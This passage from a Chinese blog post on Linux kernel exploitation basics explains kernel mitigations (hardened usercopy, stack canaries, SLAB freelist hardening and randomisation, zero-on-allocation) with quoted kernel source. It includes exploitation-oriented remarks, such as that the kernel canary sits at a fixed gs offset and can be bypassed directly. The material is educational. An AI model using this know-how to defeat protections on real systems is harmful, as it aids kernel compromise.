* GOOD_STACK: fully on the stack (when can't do frame-checking)
* BAD_STACK: error condition (invalid stack position or bad stack frame)
*/
static noinline int check_stack_object(const void *obj, unsigned long len)
{
const void * const stack = task_stack_page(current);
const void * const stackend = stack + THREAD_SIZE;
int ret;

/* Object is not on the stack at all. */
if (obj + len <= stack || stackend <= obj)
return NOT_STACK;

/*
* Reject: object partially overlaps the stack (passing the
* the check above means at least one end is within the stack,
* so if this check fails, the other end is outside the stack).
*/
if (obj < stack || stackend < obj + len)
return BAD_STACK;

/* Check if object is safely within a valid frame. */
ret = arch_within_stack_frames(stack, stackend, obj, len);
if (ret)
return ret;

return GOOD_STACK;
}

/* Is this address range in the kernel text area? */
static inline void check_kernel_text_object(const unsigned long ptr,
unsigned long n, bool to_user)
{
unsigned long textlow = (unsigned long)_stext;
unsigned long texthigh = (unsigned long)_etext;
unsigned long textlow_linear, texthigh_linear;

if (overlaps(ptr, n, textlow, texthigh))
usercopy_abort("kernel text", NULL, to_user, ptr - textlow, n);

/*
* Some architectures have virtual memory mappings with a secondary
* mapping of the kernel text, i.e. there is more than one virtual
* kernel address that points to the kernel image. It is usually
* when there is a separate linear physical memory mapping, in that
* __pa() is not just the reverse of __va(). This can be detected
* and checked:
*/
textlow_linear = (unsigned long)lm_alias(textlow);
/* No different mapping: we're done. */
if (textlow_linear == textlow)
return;

/* Check the secondary mapping... */
texthigh_linear = (unsigned long)lm_alias(texthigh);
if (overlaps(ptr, n, textlow_linear, texthigh_linear))
usercopy_abort("linear kernel text", NULL, to_user,
ptr - textlow_linear, n);
}

void __check_object_size(const void *ptr, unsigned long n, bool to_user)
{
check_bogus_address
check_stack_object
...
/* Check for bad heap object. */
check_heap_object(ptr, n, to_user);
...
}

/*
* Validates that the given object is:
* - not bogus address
* - fully contained by stack (or stack frame, when available)
* - fully within SLAB object (or object whitelist area, when available)
* - not in kernel text
*/
void __check_object_size(const void *ptr, unsigned long n, bool to_user)
{
if (static_branch_unlikely(&bypass_usercopy_checks))
return;

/* Skip all tests if size is zero. */
if (!n)
return;

/* Check for invalid addresses. */
check_bogus_address((const unsigned long)ptr, n, to_user);

/* Check for bad stack object. */
switch (check_stack_object(ptr, n)) {
case NOT_STACK:
/* Object is not touching the current process stack. */
break;
case GOOD_FRAME:
case GOOD_STACK:
/*
* Object is either in the correct frame (when it
* is possible to check) or just generally on the
* process stack (when frame checking not available).
*/
return;
default:
usercopy_abort("process stack", NULL, to_user, 0, n);
}

/* Check for bad heap object. */
check_heap_object(ptr, n, to_user);

/* Check for object in kernel to avoid text exposure. */
check_kernel_text_object((const unsigned long)ptr, n, to_user);
}

#ifdef CONFIG_HARDENED_USERCOPY
extern void __check_object_size(const void *ptr, unsigned long n,
bool to_user);

static __always_inline void check_object_size(const void *ptr, unsigned long n,
bool to_user)
{
if (!__builtin_constant_p(n))
__check_object_size(ptr, n, to_user);
}
#else
static inline void check_object_size(const void *ptr, unsigned long n,
bool to_user)
{ }
#endif /* CONFIG_HARDENED_USERCOPY */

static __always_inline bool
check_copy_size(const void *addr, size_t bytes, bool is_source)
{
int sz = __compiletime_object_size(addr);
if (unlikely(sz >= 0 && sz < bytes)) {
if (!__builtin_constant_p(bytes))
copy_overflow(sz, bytes);
else if (is_source)
__bad_copy_from();
else
__bad_copy_to();
return false;
}
check_object_size(addr, bytes, is_source);
return true;
}

static __always_inline unsigned long __must_check
copy_to_user(void __user *to, const void *from, unsigned long n)
{
if (likely(check_copy_size(from, n, true)))
n = _copy_to_user(to, from, n);
return n;
}

CONFIG_STACK PROTECTOR

类似于用户态程序的canary,通常又被称作是 stack cookie,用以检测是否发生内核堆栈溢出,若是发生内核堆栈溢出则会产生 kernel panic
开启: 在编译内核时,我们可以设置 CONFIG_CC_STACKPROTECTOR 选项,来开启该保护。
关闭: 我们需要重新编译内核,并关闭编译选项才可以关闭 Canary 保护。
内核中的canary的值通常取自gs段寄存器某个固定偏移处的值,可以直接绕过。

堆相关

CONFIG_SLAB_FREELIST_HARDENED

CONFIG_SLAB_FREELIST_HARDENED=y 编译选项开启 Hardened freelist 保护。
在这个配置下,kmem_cache 增加了一个变量 random 。在 mm/slub.c 文件, kmem_cache_open 的时候给 random 字段一个随机数。

1
2
3
4
5
6
7
8
9
10
#ifdef CONFIG_SLAB_FREELIST_HARDENED
unsigned long random;
#endif

static int kmem_cache_open(struct kmem_cache *s, slab_flags_t flags)
{
s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor);
#ifdef CONFIG_SLAB_FREELIST_HARDENED
s->random = get_random_long();
#endif

set_freepointer 函数中加了一个 BUG_ON 的检查,这里是检查 double free 的,当前 free 的 object 的内存地址和 freelist 指向的第一个 object 的地址不能一样,这和 glibc 类似。

1
2
3
4
5
6
7
8
9
10
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
unsigned long freeptr_addr = (unsigned long)object + s->offset;

#ifdef CONFIG_SLAB_FREELIST_HARDENED
BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif

*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
}

接着是 freelist_ptr ,它会返回当前 object 的下一个 free object 的地址, 加上 hardened 之后会和之前初始化的 random 值做异或。

1
2
3
4
5
6
7
8
9
10
11
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED

return (void *)((unsigned long)ptr ^ s->random ^
(unsigned long)kasan_reset_tag((void *)ptr_addr));
#else
return ptr;
#endif
}

CONFIG_SLAB_FREELIST_RANDOM

CONFIG_SLAB_FREELIST_RANDOM=y 编译选项开启 Random freelist 保护。
这种保护主要发生在 slub allocator 向 buddy system 申请到页框之后的处理过程中,对于未开启这种保护的一张完整的 slub,其上的 object 的连接顺序是线性连续的,但在开启了这种保护之后其上的 object 之间的连接顺序是随机的,这让攻击者无法直接预测下一个分配的 object 的地址

需要注意的是这种保护发生在slub allocator 刚从 buddy system 拿到新 slub 的时候,运行时 freelist 的构成仍遵循 LIFO
image.png

CONFIG_INIT_ON_ALLOC_DEFAULT_ON

当编译内核时开启了这个选项时,在内核进行“堆内存”分配时(包括 buddy system 和 slab allocator),会将被分配的内存上的内容进行清零,从而防止了利用未初始化内存进行数据泄露的情况。

CONFIG_MEMCG_KMEM

GFP_KERNELGFP_KERNEL_ACCOUNT 隔离。

  • Title: linux kernel pwn 基础知识
  • Author: sky123
  • Created at : 2024-11-08 20:23:30
  • Updated at : 2024-12-27 01:17:10
  • Link: https://skyi23.github.io/2024/11/08/linux-kernel-pwn-basic-knowlege/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
linux kernel pwn 基础知识